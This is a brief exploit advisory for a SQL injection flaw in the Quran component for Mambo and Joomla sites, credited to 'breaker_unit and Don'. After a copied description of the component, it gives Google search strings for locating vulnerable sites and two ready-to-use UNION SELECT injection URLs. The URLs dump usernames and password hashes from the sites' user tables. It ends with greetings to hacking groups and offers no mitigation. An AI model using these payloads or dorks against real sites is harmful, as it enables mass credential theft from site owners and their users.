Mambo Component Quran <= 1.1 (surano) SQL Injection Vulnerability

+----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ --found by breaker_unit and Don +----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Qur'an component allows you to read and listen to the Qur'an (The Islamic Holybook) online. A great resource for Islamic sites running on Mambo Open Source. This component was originally developed for PHP-Nuke by Syed Rasel at http://www.nzmuslim.net and then modified/ported to PostNuke and Mambo Open Source by Kemas Yunus Antonius. Key Features:     * Displaying the Qur'an in Arabic and its translations.     * Enhanced with search function (using any keywords or by chapter number and verse number).     * Arabic recitation for both listening and downloading.     * Very user friendly.     * Using mysql database instead of file text. Available translations at the moment:     * English     * Indonesian You can get them all at http://www.kyantonius.com. +----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ allinurl:"com_quran" inurl:"/index.php?option=com_quran" +----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Mambo /index.php?option=com_quran&action=viewayat&surano=-1+union+all+select+1,concat(username,0x3a,password ),3,4,5+from+mos_users+limit+0,20-- Joomla /index.php?option=com_quran&action=viewayat&surano=-1+union+all+select+1,concat(username,0x3a,password ),3,4,5+from+jos_users+limit+0,20-- Greetz to: balcan-crew.org milw0rm.com h4cky0u.biz